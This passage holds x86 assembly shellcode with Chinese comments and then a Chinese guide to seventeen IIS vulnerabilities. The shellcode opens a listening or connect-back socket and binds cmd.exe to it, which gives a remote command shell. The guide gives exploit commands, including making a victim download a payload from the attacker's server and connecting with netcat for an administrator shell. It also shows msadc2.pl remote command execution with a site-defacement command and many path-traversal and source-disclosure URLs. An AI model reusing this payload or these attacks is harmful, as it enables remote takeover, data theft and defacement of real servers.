push eax;

mov eax, [esi+SkOverflowFuncAddr.bind];
call eax;
;//下面的跳转，用来消去 距离太远造成的0. 对源程序没有影响的代码.
jmp _temp_1;

run_actual3_1:
jmp run_actual3_2;

_temp_1:

pop eax; //->3@
push eax; //<-4@

;//listen( msocket, 1);
xor ecx, ecx;
inc ecx;

push ecx;
push eax;

mov eax, [esi+SkOverflowFuncAddr.listen];
call eax;

pop eax; //->4@
push eax; //<-5@

;//newsocket = accept( msocket, (SOCKADDR*)&addrin,
    &iLen);
xor ecx, ecx;
mov cl, size sockaddr_in;
lea edi, [ebp-0c0h];
mov [edi], ecx;
push edi; //iLen = sizeof(addrin);
lea edi, [ebp-0f0h];
push edi; //&SOCKADDR_IN 结构.
push eax;

mov eax,[esi+SkOverflowFuncAddr.accept];
call eax;

pop edx; //->5@ //用来listen的socket.由eax->edx

push eax; //<-6@ //得到新的连结管套..

;//关闭 用来 listen的socket.
;//closesocket( msocket);
push edx;
mov eax, [esi+SkOverflowFuncAddr.closesocket];
call eax;

pop eax; //->6@

cmp eax, -1;
je WSocket_QuitRightNow;

jmp Finish_Get_Connection_Socket;

_IsConnectToIP: ;//连接到一个ip:port
;//addrin.sin_family = AF_INET;
;//addrin.sin_addr.S_un.S_addr = 0x0100007f;
;//addrin.sin_port = 0x8b; //139.

;//connect( socket, (SOCKADDR*)&addrin, sizeof(addrin));
;//准备参数 SOCKADDR_IN
;//现在寄存器状况..
;//edi --- 临时变量 sockaddr_in, (sin_family = AF_INET 被赋值)
;//edx --- 参数2 stConnectInfo 连结信息
;//eax --- 创建的管套 newsocket.
;//esi --- 参数1 SkOverflowFuncAddr 函数地址.

;//取得端口value.
push eax; //<-1@

mov eax, [edx+stConnectInfo.dwConnectPort];
call _convert_Sk_Long_To_Ansi_Word;
mov ecx, eax;
xchg ch,cl; //port = htons(port)

lea ebx, [edi + SOCKADDR_IN.sin_port];
mov word ptr [ebx], cx; //SOCKADDR_IN.sin_port = port.

;//下面的跳转，用来消去 距离太远造成的0. 对源程序没有影响的代码.
jmp _temp_1_1;

run_actual3_2:
jmp run_actual3;

_temp_1_1:

mov eax, [edx+stConnectInfo.dwIP1];
call _convert_Sk_Long_To_Ansi_Word;
mov ecx, eax;
shl ecx, 10h;
mov eax, [edx+stConnectInfo.dwIP2];
call _convert_Sk_Long_To_Ansi_Word;
mov cx, ax;
lea ebx, [edi + SOCKADDR_IN.sin_addr];
mov dword ptr [ebx], ecx; //SOCKADDR_IN.sin_addr.S_un.S_addr = stConnectInfo.dwIP1
    + dwIP2

pop eax; //->1@
push eax; //<-2@

;//connect(msocket, addr, 0x10);
xor ecx, ecx;
mov cl, 10h;
push ecx; //sizeof(SOCKADDR_IN);
push edi; //SOCKADDR *
push eax; //msocket.
mov eax, [esi+SkOverflowFuncAddr.connect];
call eax; //connect.

mov ecx, eax;
pop eax; //->2@
jcxz Finish_Get_Connection_Socket; //connect success.
nop;

;//now, connect failure.
;//closesocket(eax)
push eax;
mov eax, [esi+SkOverflowFuncAddr.closesocket];
call eax;

xor eax, eax;
jmp WSocket_QuitRightNow;

Finish_Get_Connection_Socket:
push eax;

push eax;
pop edx; //edx = eax

;// setsockopt( newsocket, SOL_SOCKET, SO_RCVTIMEO,
    (LPCTSTR)&iLen, sizeof(iLen));
lea edi, [ebp-0f0h];
xor eax, eax;
mov al, 1;
mov [edi], eax;
shl eax, 2; //eax = 4

push eax;
push edi;
mov ax, SO_RCVTIMEO;
push eax;
mov ax, SOL_SOCKET;
push eax;
push edx;

mov eax, [esi+SkOverflowFuncAddr.setsockopt];
call eax;

pop eax;
WSocket_QuitRightNow:
;//返回结果.
pop ebx;
pop ecx;
pop edx;
pop edi;
pop esi;

mov esp, ebp;

pop ebp;
ret;
run_actual3:
jmp run_actual4_1;
;//在管套 pipe 上，运行进程 pStrCmd;
;//_Create_Process_To_Handle( SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe, LPCTSTR *pStrCmd);
_Create_Process_To_Handle:
push ebp;
mov ebp, esp;

push edi;
push esi;
push edx;
push ecx;
push ebx;
push eax;

mov edi, FUNC_PARAM_2; //Shell_Cmd_Pipe *pCmdPipeData;

push edi;
pop edx; //edx = edi;
;//memset( &si, 0, sizeof(STARTUPINFO));
xor eax, eax;
lea edi, [edi +Shell_Cmd_Pipe.nstartupinfo];
push edi; //edi = &STARTUPINFO; ---
xor ecx, ecx;
mov cl, size STARTUPINFO;
rep stosb;

pop edi; // ---

;//si.cb = sizeof(STARTUPINFO);
lea esi, [edi + STARTUPINFO.cb];
mov cl, size STARTUPINFO;
mov [esi], ecx;
;//si.wShowWindow = SW_HIDE = 0; //need to do nothing.
;//si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
lea esi, [edi + STARTUPINFO.dwFlags];
mov cx, 101h;
mov [esi], ecx;
;//si.hStdInput = ShellStdinPipe;
push edi;
lea edi, [edi + STARTUPINFO.hStdInput];
lea esi, [edx + Shell_Cmd_Pipe.ShellStdinPipe];
mov eax, [esi];
mov [edi], eax;
pop edi;
;//si.hStdOutput = ShellStdoutPipe;
push edi;
lea edi, [edi+STARTUPINFO.hStdOutput];
lea esi, [edx+Shell_Cmd_Pipe.ShellStdoutPipe];
mov eax, [esi];
mov [edi], eax;
pop edi;

;// DuplicateHandle( GetCurrentProcess(), ShellStdoutPipe,
    GetCurrentProcess(),
;// &(si.hStdError),DUPLICATE_SAME_ACCESS, TRUE, 0);
mov esi, FUNC_PARAM_1;
mov eax, [esi+SkOverflowFuncAddr.GetCurrentProcess];
call eax;

xor ecx, ecx;
push ecx; //0
inc ecx;
push ecx; //TRUE
inc ecx;
push ecx; //DUPLICATE_SAME_ACCESS
lea edx, [edi+STARTUPINFO.hStdError];
push edx; //&(si.hStdError)
push eax; //GetCurrentProcess();

push esi;
mov esi, FUNC_PARAM_2;
lea esi, [esi+Shell_Cmd_Pipe.ShellStdoutPipe];
mov ebx, [esi];
pop esi;

;//下面的跳转，用来消去 距离太远造成的0. 对源程序没有影响的代码.
jmp _temp_2;

run_actual4_1:
jmp run_actual4;

_temp_2:

push ebx; //ShellStdoutPipe
push eax; //GetCurrentProcess();

mov eax, [esi+SkOverflowFuncAddr.DuplicateHandle];
call eax;

;// CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0,
;// NULL, NULL, &si, &ProcessInformation )

xor eax, eax;
mov edi, FUNC_PARAM_2;
lea edx, [edi+Shell_Cmd_Pipe.ProcessInformation];
push edx; ;//&ProcessInformation
lea edx, [edi+Shell_Cmd_Pipe.nstartupinfo];
push edx; ;//&si
push eax; ;//NULL;
push eax; ;//NULL;
push eax; ;//0;
inc eax;
push eax; ;//TRUE;
dec eax;
push eax; ;//NULL;
push eax; ;//NULL;
mov edx, FUNC_PARAM_3;
push edx; ;//LPCTSTR lpszCommand.
push eax; ;//NULL;

mov eax, [esi+SkOverflowFuncAddr.CreateProcessA];
call eax;

;//CloseHandle( ShellStdinPipe);
mov eax, [edi+Shell_Cmd_Pipe.ShellStdinPipe];
push eax;
mov eax, [esi+SkOverflowFuncAddr.CloseHandle];
call eax;
;//CloseHandle( ShellStdoutPipe);
mov eax, [edi+Shell_Cmd_Pipe.ShellStdoutPipe];
push eax;
mov eax, [esi+SkOverflowFuncAddr.CloseHandle];
call eax;

pop eax;
pop ebx;
pop ecx;
pop edx;
pop esi;
pop edi;

mov esp, ebp;
pop ebp;
ret;
;//memset( &si, 0, sizeof(STARTUPINFO));
run_actual4:
jmp run_actual5;
;//关闭不再用的管套
;//_Close_All_Communication_Pipe(SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe
    *pCmdPipe);
_Close_All_Communication_Pipe:
push ebp;
mov ebp, esp;

push esi;
push edi;
push edx;
push ecx;
push ebx;
push eax;

mov esi, FUNC_PARAM_1;
mov edi, FUNC_PARAM_2;

;//closesocket(msocket);
mov eax, [edi+Shell_Cmd_Pipe.msocket];
push eax;
mov eax, [esi+SkOverflowFuncAddr.closesocket];
call eax;

;//closehandle(handle)..
mov eax, [edi+Shell_Cmd_Pipe.hReadPipe];
push eax;
mov eax, [esi+SkOverflowFuncAddr.CloseHandle];
call eax;

;//closehandle(handle)..
mov eax, [edi+Shell_Cmd_Pipe.hWritePipe];
push eax;
mov eax, [esi+SkOverflowFuncAddr.CloseHandle];
call eax;

pop eax;
pop ebx;
pop ecx;
pop edx;
pop edi;
pop esi;

mov esp, ebp;
pop ebp;
ret;
run_actual5:
jmp run_actual6_1;
;//接受管套的数据，写进pipe,读pipe,发送到socket.
;//_Recv_Write_Socket_Pipe( SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe
    *pCmdPipe);
_Recv_Write_Socket_Pipe:
push ebp;
mov ebp, esp;

xor eax, eax;
mov ax, 2f0h;
sub esp, eax; // 496bytes, use for char szTemp[240];

push esi;
push edi;
push edx;
push ecx;
push ebx;

mov esi, FUNC_PARAM_1; //SkOverflowFuncAddr *pAddr;
mov edi, FUNC_PARAM_2; //Shell_Cmd_Pipe *pCmdPipeData;

;//dwBreak = 1
lea edx, [ebp - size Recv_Write_Socket_Pipe_Data + Recv_Write_Socket_Pipe_Data.dwBreak];
xor eax, eax;
inc eax;
mov [edx], eax;
;//while(!bBreak)
_While_Read_Data_Loop:
;//监测 dwBreak == 0?
lea edx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.dwBreak];
mov eax, [edx];
test eax, eax;
jz _Quit_While_Read_Data_Loop_1;

;//iLen = recv( newsocket, szTemp, sizeof(szTemp)-1,
    0);
xor eax, eax;
push eax;
mov al, SIZE_OF_TEMP_BUFFER;
push eax;
lea eax, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.szTemp];
push eax;

lea ebx, [edi+Shell_Cmd_Pipe.msocket];
mov eax, [ebx];
push eax;

mov eax, [esi+SkOverflowFuncAddr.recv];
call eax;

cmp eax, -1;
jne _NextStep_Receive_Test;

push eax;
pop edx;

mov eax, [esi+SkOverflowFuncAddr.GetLastError];
call eax;

cmp ax, 10060; //timeout?
je _Read_StdoutPipe;

_Quit_While_Read_Data_Loop_1:
jmp _Quit_While_Read_Data_Loop; //error.
_NextStep_Receive_Test:
test eax, eax; //eax == 0?
je _Quit_While_Read_Data_Loop; //break;

jng _Read_StdoutPipe;

;//Receive_Ok_Occure:
;//if( iLen > 0)
;//WriteFile( hWritePipe, szTemp, iLen, &dwTemp, NULL)
xor edx, edx;
push edx; //NULL
lea ebx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.dwTemp];
push ebx; //&dwTemp
push eax; //iLen
lea ebx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.szTemp];
push ebx; //szTemp;
mov eax, [edi+Shell_Cmd_Pipe.hWritePipe];
push eax;

mov eax, [esi+SkOverflowFuncAddr.WriteFile];
call eax;

test eax, eax;
jz _Quit_While_Read_Data_Loop; //WriteFile(..) == 0, 失败，管套中断.

;//下面的跳转，用来消去 距离太远造成的0. 对源程序没有影响的代码.
jmp _temp_3;

run_actual6_1:
jmp run_actual6;

_temp_3:

_Read_StdoutPipe:
;//PeekNamedPipe(hReadPipe,NULL,0,NULL,&dwTemp,NULL );
xor eax, eax;
push eax; //NULL
lea edx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.dwTemp];
push edx; //&dwTemp
push eax; //NULL
push eax; //0
push eax; //NULL
mov eax, [edi+Shell_Cmd_Pipe.hReadPipe];
push eax; //hReadPipe

mov eax, [esi+SkOverflowFuncAddr.PeekNamedPipe];
call eax;

mov eax, [ebp- size Recv_Write_Socket_Pipe_Data
    +Recv_Write_Socket_Pipe_Data.dwTemp];
test eax, eax;
jz _No_Data_To_Read_Yet;

;//ReadFile( hReadPipe, szTemp, sizeof(szTemp), &dwTemp, NULL)
xor eax, eax;
push eax; //NULL
lea edx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.dwTemp];
push edx; //&dwTemp
mov al, SIZE_OF_TEMP_BUFFER;
push eax; //sizeof(szTemp);
lea edx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.szTemp];
push edx; //szTemp;
mov eax, [edi+Shell_Cmd_Pipe.hReadPipe];
push eax; //hReadPipe

mov eax, [esi+SkOverflowFuncAddr.ReadFile];
call eax; //ReadFile.

;//if( ReadFile (...) == 0)? then quit.
test eax, eax;
je _Quit_While_Read_Data_Loop;

;//send( newsocket, szTemp, dwTemp, 0);
xor eax, eax;
push eax; //0
mov eax, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.dwTemp];
push eax; //dwTemp;
lea edx, [ebp- size Recv_Write_Socket_Pipe_Data +Recv_Write_Socket_Pipe_Data.szTemp];
push edx; //szTemp;
mov eax, [edi+Shell_Cmd_Pipe.msocket];
push eax; //socket.

mov eax, [esi+SkOverflowFuncAddr.send];
call eax;

cmp eax, -1;
je _Quit_While_Read_Data_Loop;

jmp _Read_StdoutPipe; //continue to read next data.
_No_Data_To_Read_Yet:
jmp _While_Read_Data_Loop;

_Quit_While_Read_Data_Loop:

pop ebx;
pop ecx;
pop edx;
pop edi;
pop esi;

mov esp, ebp;
pop ebp;
ret;
run_actual6:
jmp run_actual;
;//BOOL _Create_Two_Pipe( SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe);
_Create_Two_Pipe:
push ebp;
mov ebp, esp;

xor eax, eax;
mov al, 0f0h;
sub esp, eax; //开辟空间

push esi;
push edi;
push edx;
push ecx;
push ebx;

mov esi, FUNC_PARAM_1;
mov edi, FUNC_PARAM_2;

xor ebx,ebx;
lea edi, [ebp-10h];

;//SecurityAttributes.lpSecurityDescriptor
    = NULL; //default ACL
lea edx, [edi+SECURITY_ATTRIBUTES.lpSecurityDescriptor];
mov [edx], ebx;
;//SecurityAttributes.bInheritHandle = TRUE; //will inherit handle
lea edx, [edi+SECURITY_ATTRIBUTES.bInheritHandle];
inc ebx;
mov [edx], ebx;
;//SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
lea edx, [edi+SECURITY_ATTRIBUTES.nLength];
mov bl, size SECURITY_ATTRIBUTES;
mov [edx], ebx;

xor ebx, ebx;
;//bResult = CreatePipe( &hReadPipe, &ShellStdoutPipe, &SecurityAttributes, 0);output into _FUNC_PARAM_2's variables.

push edi; //save.

push ebx; //0
push edi; //&SecurityAttributes

mov edi, FUNC_PARAM_2;
lea edx, [edi+Shell_Cmd_Pipe.ShellStdoutPipe];
mov [edx], ebx; //ShellStdoutPipe = 0;
push edx; //&ShellStdoutPipe
lea edx, [edi+Shell_Cmd_Pipe.hReadPipe];
push edx;; //&hReadPipe
mov eax, [esi+SkOverflowFuncAddr.CreatePipe];
call eax;

pop edi; //restore.

test eax, eax;
je _Create_Pipe_Quit_Error;

;//Create Second Pipe.
;//CreatePipe( &ShellStdinPipe, &hWritePipe, &SecurityAttributes, 0);
xor ebx, ebx;

push ebx; //0
push edi; //&SecurityAttributes

mov edi, FUNC_PARAM_2;
lea edx, [edi+Shell_Cmd_Pipe.hWritePipe];
push edx; //&hWritePipe
lea edx, [edi+Shell_Cmd_Pipe.ShellStdinPipe];
mov [edx],ebx;
push edx; //&ShellStdinPipe

mov eax, [esi+SkOverflowFuncAddr.CreatePipe];
call eax;

test eax, eax;
je _Create_Pipe_Quit_Error;

xor eax, eax;
inc eax;
jmp _Create_Pipe_Quit;

_Create_Pipe_Quit_Error:
xor eax, eax;
jmp _Create_Pipe_Quit;
nop;

_Create_Pipe_Quit:
pop ebx;
pop ecx;
pop edx;
pop edi;
pop esi;

mov esp, ebp;
pop ebp;
ret;
run_actual:
lea esi, [esp];
mov esi, [esi]; //ebx 是调用代码的地址
xor ecx, ecx;
mov cx,MyDataOffset;
add esi, ecx; //esx 是未来 数据的地址.

;//ebp-0x2ff 处，是 szShellNeedFunc结构.
lea edi, [ebp - szShellNeedFunc_OFFSET];
push edi;

;//MyDebugAdd -----
mov cx, _size_AllData;
rep movsb;

;//还要包括 连接信息结构 的数据
pop edi;
push edi;

;//将'+'转换成 "\x00"
;//void _Convert_Add_Sign_To_Null_Sign(void *ptr, int iLen, DWORD dwOld, DWORD dwNew);
xor ecx, ecx;
push ecx; //---参数4
mov cl, '+';
push ecx; //---参数3
mov cx, _size_szShellNeedFunc;
push ecx; //---参数2
xor ebx, ebx;
mov bl, String_Of_Data_Offset;
add edi, ebx; //edi指向 真正的 szShellNeedFunc
push edi; //---参数1

call _Convert_Add_Sign_To_Null_Sign;
add esp, 10h;

;//从 szShellNeedFunc 取得 SkOverflowFuncAddr的地址
;//void _Get_Overflow_Addr_From_Shell_Func( SkOverflowFuncAddr *pSkOverflowFuncAddr, char *ShellNeedFuncStr, DWORD dwGetModuleHandleAddr, DWORD GetProcAddr)
xor ecx, ecx;
mov cx, _GetModuleHandle_Addr_Offset;
mov esi, edi;
add esi, ecx;
mov eax, [esi+4]
push eax; ;//GetProcAddress_Addr
mov eax, [esi];
push eax; ;//GetModuleHandle_Addr

push edi;
;//ebp-0x1ff处,是 SkOverflowFuncAddr结构.
lea esi, [ebp-SkOverflowFuncAddr_OFFSET];
push esi;
call _Get_Overflow_Addr_From_Shell_Func;
add esp, 10h;

pop edi;
;//创建 一个管套，监听一个端口/连接到一个ip:port，返回该管套.
;//SOCKET _Create_Bind_Connect_Socket_To_Port( SkOverflowFuncAddr *pFuncAddr,
    szShellNeedFunc *pNeedFunc);
push edi;
push esi;
call _Create_Bind_Connect_Socket_To_Port;
add esp, 8;

test eax, eax;
jz Main_Quit_Now; //socket 失败.

lea edi, [ebp-Shell_Cmd_Pipe_OFFSET];
lea ebx, [edi + Shell_Cmd_Pipe.msocket];
mov [ebx], eax; //保存结果到 msocket中.

;//BOOL _Create_Two_Pipe( SkOverflowFuncAddr
    *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe);
;//创建2个pipe,用来绑定shell.
push edi;
push esi;
call _Create_Two_Pipe;
add esp, 8;

test eax, eax;
jz Main_Quit_Now;

;//now is ok.
;//在管套 pipe 上，运行进程 pStrCmd;
;//_Create_Process_To_Handle( SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe
    *pCmdPipe, LPCTSTR *pStrCmd);
lea edi, [ebp-szShellNeedFunc_OFFSET];
xor eax,eax;
mov al, String_Of_Data_Offset; //cmd.exe命令行在数据中的偏移.
add edi, eax;
push edi; //"cmd.exe"的指针
lea edi, [ebp-Shell_Cmd_Pipe_OFFSET];
push edi;
push esi;
call _Create_Process_To_Handle;
add esp, 0ch;

;//接受管套的数据，写进pipe,读pipe,发送到socket.
;//_Recv_Write_Socket_Pipe( SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe
    *pCmdPipe);
push edi;
push esi;
call _Recv_Write_Socket_Pipe;
add esp, 8;

;//关闭不再用的管套
;//_Close_All_Communication_Pipe(SkOverflowFuncAddr *pFuncAddr, Shell_Cmd_Pipe *pCmdPipe);
push edi;
push esi;
call _Close_All_Communication_Pipe
add esp, 8;

;//关闭该进程
xor eax, eax;
push eax;
lea edx, [edi+Shell_Cmd_Pipe.ProcessInformation];
mov eax, [edx+PROCESS_INFORMATION.hProcess];
push eax;

mov eax, [esi+SkOverflowFuncAddr.TerminateProcess];
call eax;

Main_Quit_Now: ;//现在推出..
;//exit now.
xor eax, eax;
push eax;
mov eax, [esi+ SkOverflowFuncAddr.ExitProcess];
call eax;

ret;
;//quit_return:
;//恢复堆栈
mov esp,ebp;
pop ebp;
nop;
nop;

;//下面是数据:
MyDataOffset equ $-call_back_Data_Offset; //call 函数,到这里的距离.

ConnectTypeOffset equ $-start;
ListenPortOffset equ ConnectTypeOffset+stConnectInfo.dwListenPort;
ConnectIP1Offset equ ConnectTypeOffset+stConnectInfo.dwIP1;
ConnectIP2Offset equ ConnectTypeOffset+stConnectInfo.dwIP2;
ConnectPortOffset equ ConnectTypeOffset+stConnectInfo.dwConnectPort;

MyConnectInfo stConnectInfo < 2, 0ffh, 0ffffh, 02010151h, 01250201h, 01a801c0h, 02010158h>

String_Of_Data_Offset equ $-MyConnectInfo;
ExecCommandOffset equ $-start;

szShellNeedFunc db 'cmd.exe+++++++++'
db '++++++++++++++++'
db '++++++++++++++++'
db '++++++++++++++++'
db '++++++++++++++++'
db '++++++++++++++++'
db '++++++++++++++++'
db '++++++++++++++++'

;//下面是函数信息.
SHELL_NEED_FUNC_BODY_OFFSET equ $-szShellNeedFunc;//这个是shell函数和dll的偏移

db 02h
db 0eh, 'kernel32.dll+', '+'
db 0eh
db 11h, 'TerminateProcess', '+'
db 0bh, 'CreatePipe', '+'
db 10h, 'GetStartupInfoA', '+'
db 0fh, 'CreateProcessA', '+'
db 0eh, 'PeekNamedPipe', '+'
db 0ch, 'GlobalAlloc', '+'
db 0bh, 'WriteFile', '++'
db 09h, 'ReadFile', '+'
db 06h, 'Sleep', '+'
db 0ch, 'ExitProcess', '+'
db 0eh, 'GetLastError+', '+'
db 10h, 'DuplicateHandle', '+'
db 12h, 'GetCurrentProcess', '+'
db 0ch, 'CloseHandle','+'
db 0bh, 'ws2_32.dll', '+'
db 0bh
db 07h, 'socket', '+'
db 05h, 'bind', '+'
db 07h, 'listen', '+'
db 07h, 'accept', '+'
db 05h, 'send', '+'
db 05h, 'recv', '+'
db 0bh, 'setsockopt', '+'
db 0bh, 'WSAStartup', '+'
db 0ch, 'closesocket', '+'
db 08h, 'connect', '+'
db 0ch, 'gethostname', '+'
db '+++++++++++++++++++++'

_GetModuleHandle_Addr_Offset equ $-szShellNeedFunc
GetModuleHandleOffset equ $-start;

GetModuleHandleA_Addr dd 77e756dbh

GetProcAddressOffset equ $-start;
GetProcAddressA_Addr dd 77e7564bh

_size_szShellNeedFunc equ $-szShellNeedFunc+1
_size_AllData equ $-MyConnectInfo+1

_sk_Bind_ConnectShellCode endp

db '---------------------------------------------------------'
;//重要数据在代码中的偏移
stDataSetOffset struct
dwConnectType DD 0;
dwListenPort DD 0;
dwConnectIP1 DD 0;
dwConnectIP2 DD 0;
dwConnectPort DD 0;

dwExecCommand DD 0;
wSizeExecCommand DW 0;
wReserv1 DW 0
dwGetModuleHandle DD 0;
dwGetProcAddress DD 0;
stDataSetOffset ends

_GetDataSetOffset_Value proc
push ebp;
mov ebp, esp;

push esi;
push edi;
push edx;
push ecx;
push ebx;
push eax;

mov esi, FUNC_PARAM_1;

lea edi, [esi+stDataSetOffset.dwConnectType];
mov eax, ConnectTypeOffset;
mov [edi], eax;

lea edi, [esi+stDataSetOffset.dwListenPort];
mov eax, ListenPortOffset;
mov [edi], eax;

lea edi, [esi+stDataSetOffset.dwConnectIP1];
mov eax, ConnectIP1Offset;
mov [edi], eax;

lea edi, [esi+stDataSetOffset.dwConnectIP2];
mov eax, ConnectIP2Offset;
mov [edi], eax;

lea edi, [esi+stDataSetOffset.dwConnectPort];
mov eax, ConnectPortOffset;
mov [edi], eax;

lea edi, [esi+stDataSetOffset.dwExecCommand];
mov eax, ExecCommandOffset;
mov [edi], eax;

lea edi, [esi+stDataSetOffset.wSizeExecCommand];
mov ax, SHELL_NEED_FUNC_BODY_OFFSET;
mov [edi], eax;

lea edi, [esi+stDataSetOffset.dwGetModuleHandle];
mov eax, GetModuleHandleOffset;
mov [edi], eax;

lea edi, [esi+stDataSetOffset.dwGetProcAddress];
mov eax, GetProcAddressOffset;
mov [edi], eax;

pop eax;
pop ebx;
pop ecx;
pop edx;
pop edi;
pop esi;

mov esp, ebp;
pop ebp;
ret;

_GetDataSetOffset_Value endp


IIS的十七个常见漏洞

1. iis4hack缓冲溢出

主要存在于.htr,.idc和.stm文件中，其对关于这些文件的URL请求
没有对名字进行充分的边界检查，导致运行攻击者插入一些后门程序
在系统中下载和执行程序。

要检测这样的站点你需要两个文件iishack.exe，ncx.exe，你可以到下面
的站点www.technotronic.com去下载，另外你还需要一台自己的WEB服务器。

你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应
的目录下，然后使用iishack.exe来检查目标机器：
c:\>iishack.exe <victim> 80 <your web server>/ncx.exe
然后你就使用netcat来连接你要检测的服务器：
c:\>nc <victim> 80
如果溢出点正确你就可以看到目标机器的命令行提示，并且是管理远权限。

利用程序见iis4hack.zip

2.msadc

IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行
你系统的命令。主要核心问题是存在于RDS Datafactory，默认情况下，
它允许远程命令发送到IIS服务器中，这命令会以设备用户的身份运行，
其一般默认情况下是SYSTEM用户。

利用程序为msadc2.pl，我们看看它的help

[quack@chat quack]$ perl msadc2.pl -h
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --

Usage: msadc.pl -h <host> { -d <delay>
    -X -v }
-h <host> = host you want to scan (ip or domain)
-d <seconds> = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u <\\host\share\file> = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s <number> = run only step <number>

Or a -R will resume a (v2) command session

[quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c

如果出现cmd /c后，直接键入命令行，就可以以system权限执行命令了。比如xundi教的：
echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm

3.Codebrws.asp

察看文件源代码
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp

4.Showcode.asp

察看文件源代码
http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini

5.Null.htw

察看文件源代码
http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full

6.webhits.dll & .htw

hit-highligting功能是由Index Server提供的允许一个WEB用户在
文档上highlighted（突出）他们原始搜索的条目，这个文档的名字通过
变量CiWebhitsfile传递给.htw文件，Webhits.dll是一个ISAPI应用程序
来处理请求，打开文件并返回结果，当用户控制了CiWebhitsfile参数传递
给.htw时，他们就可以请求任意文件，结果就是导致查看ASP源码和其他
脚本文件内容。要了解你是否存在这个漏洞，你可以请求如下条目：

http://www.victim.com/nosuchfile.htw

如果你从服务器端获得如下信息：

format of the QUERY_STRING is invalid

这就表示你存在这个漏洞。

这个问题主要就是webhits.dll关联了.htw文件的映射，所以你只要取消
这个映射就能避免这个漏洞，你可以在你认为有漏洞的系统中搜索.htw
文件，一般会发现如下的程序：

/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

一个攻击者可以使用如下的方法来访问系统中文件的内容：

http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full

就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA)

要查看一些.asp文件的内容，你可以请求如下的URL：
http://www.victim.com/default.asp::$DATA你就得到了源代码

8.ASP Dot Bug

在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。
http://www.victim.com/sample.asp.

9.ISM.DLL

这个漏洞是由Cerberus Information Security team.最早发现的，它运行
在IIS4.0和5.0上面，允许攻击者查看任意文件内容和源代码。通过在文件
名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS，
会使IIS认为客户端请求的是?.htr?文件，而.htr文件的后缀映射到ISM.DLL
ISAPI应用程序，这样IIS就把这个.htr请求转交给这个DLL文件，然后ISM.DLL
程序把传递过来的文件打开和执行，但在ISM.DLL 截断信息之前,缓冲区发送
一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容.
除非 WEB 服务停止并重启过，否则这攻击只能有效执行一次。如果已经
发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL
第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题，可以进行
多次攻击。

http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr

10. .idc & .ida Bugs

这个漏洞实际上类似ASP dot 漏洞，其能在IIS4.0上显示其WEB目录信息，
很奇怪的说有些还在IIS5.0上发现过此类漏洞，通过增加?idc?或者?ida?
后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC，如果
此.idc不存在，它就返回一些信息给客户端。

http://www.victim.com/anything.idc 或者 anything.idq

11.+.htr Bug

对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露：
http://www.victim.com/global.asa+.htr

12.NT Site Server Adsamples

通过请求site.csc，一般保存在/adsamples/config/site.csc中，攻击者
可能获得一些如数据库中的DSN，UID和PASS的一些信息，如：

http://www.victim.com/adsamples/config/site.csc

13./iisadmpwd

IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户
帐号，就是你的WEB服务器是通过NAT来转换地址的，还可以被攻击。

每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd，这个目录包含多个
.htr文件，匿名用户允许访问这些文件，这些文件刚好没有规定只限制
在loopback addr(127.0.0.1)，请求这些文件就跳出对话框让你通过WEB
来修改用户的帐号和密码。这个目录物理映射在下面的目录下：
c:\winnt\system32\inetsrv\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr

